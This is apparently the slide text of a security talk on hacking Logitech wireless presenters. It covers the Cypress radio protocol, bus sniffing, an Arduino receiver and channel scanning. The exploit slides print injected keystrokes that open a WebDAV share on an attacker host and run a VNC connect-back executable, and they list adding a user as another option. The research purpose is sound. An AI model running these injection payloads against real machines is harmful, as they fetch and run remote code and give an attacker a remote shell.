Owned Live on Stage
Hacking Wireless Presenters
Hi!

- I'm Niels Teusink
- With Fox-IT since 2005
- Pentester since 2007
  - Large companies, government etc.
  - Sometimes forensics or training
Agenda

• Introduction wireless presenters
• Reverse engineering hardware
• Exploit demo
• Conclusions
Wireless Presenters?
• It's a wireless keyboard! (with < 10 buttons)
2.4GHz technology

• Often proprietary protocols (not Bluetooth, Wi-Fi, ZigBee etc.)

• Common IC's:
  – Nordic NRF24L01
  – Cypress CYRF6936
  – Texas Instruments/Chipcon CC2500
The target

- Logitech R-R0001

Cypress CYRF6936 2.4GHz Radio
The target (other side)

- Logitech R-R0001

Cypress CY7C63803 Processor
## Cypress packet format

<table>
<thead>
<tr>
<th>Preamble</th>
<th>SOP</th>
<th>Length</th>
<th>Payload</th>
<th>CRC16</th>
</tr>
</thead>
</table>

- **Different modes:**
  - GFSK
  - 8DR (32 or 64)
  - DDR (32 or 64)
  - SDR

- **98 channels**
Dongle block diagram

Antenna

CYRF6936 2.4GHz Radio

SPI Bus

Encore II CY7C63803 Processor

USB

FOX-IT
EXPERTS IN IT SECURITY
Logic analyzers
Sniffing the bus
Sniffing the bus (3)
### 10.5.8 RX_IRQ_STATUS_ADR

Register

<table>
<thead>
<tr>
<th>Bit</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>RXOW IRQ</td>
<td>Receive Overwrite Interrupt Status. This IRQ is triggered when the receive buffer is over-written by a packet being received before the previous packet has been read from the buffer. This bit is cleared by writing any value to this register. This condition is only possible when the RXOW EN bit in RX_CFG_ADR is set. This bit must be written ‘1’ by firmware before the new packet may be read from the receive buffer.</td>
</tr>
</tbody>
</table>
Now what?

- Create compatible hardware
- Arduino Duemilanove
- Unigen LETO-M
  - CYRF6936 module
  - Integrated antenna (range: 30 feet)
Prototype
Receiving packets!

Ready.
Init on Arduino Duemilanove
Set channel to 0x23
Setting SOP_CODE to 0x1
CYRF RX init
Packet received
45 4E
Packet received
41 FD A
Packet received
41 0

9600 baud
What about different presenters

• Logitech R400  
  (released in august 2009)
Slightly different design

Antenna

CYRF6936 2.4GHz Radio

SPI Bus

Encore II CY7C63803 Processor

USB

Antenna

CYRF69103
Combined microcontroller and transceiver

USB
Differences between the two

- Channel (98 possibilities)
- SOP code (8 bytes, but 11 recommended values)
- $98 \times 11 = 1078$ combinations to check
Scanning for presenters

- Cypress devices support auto-acknowledgement of packets
- Send 1078 'pings' to find the presenter!
What did I just do?

- This:
  37e4100e451be4100e4528e4100e452ce4100e4538e4100e4506e4100e4510e4100e4507e4100e452ce4100e4538e4100e4506e4100e4511e4100e4508e4100e4517e4100e452ce4100e4518e4100e4516e4100e4508e4100e452ce4100e451be4100f453302e4100e452ce4100e450be4100e4517e4100e4517e4100e4513e4100f453302e4100e4538e4100e4538e4100e451ee4100e4527e4100e4537e4100e451ee4100e4537e4100e451ee4100e4537e4100e451ee4100e4538e4100e451be4100f452402e4100e451be4100f453302e4100e451be4100e4528e4100
What did I just do?

• This:
  - [Win+R]
  - cmd /c net use x: http://10.1.1.1/x&x:x
  - [Enter]
What did I just do?

• This:
  – `net use X: http://attacker/webdavshare`
  – `X:\VNCconnectback.exe`
Other ideas

• Type the whole thing into debug.exe
• Use command line FTP
• Adding a user to the system
• Just Rickrolling a whole bunch of people
• ...

debug.exe
What about mice?

• You may also be at risk…
What about other presenters?

- Probably also vulnerable…
Possible solutions?

- Strong crypto
- Creating protocols for presenters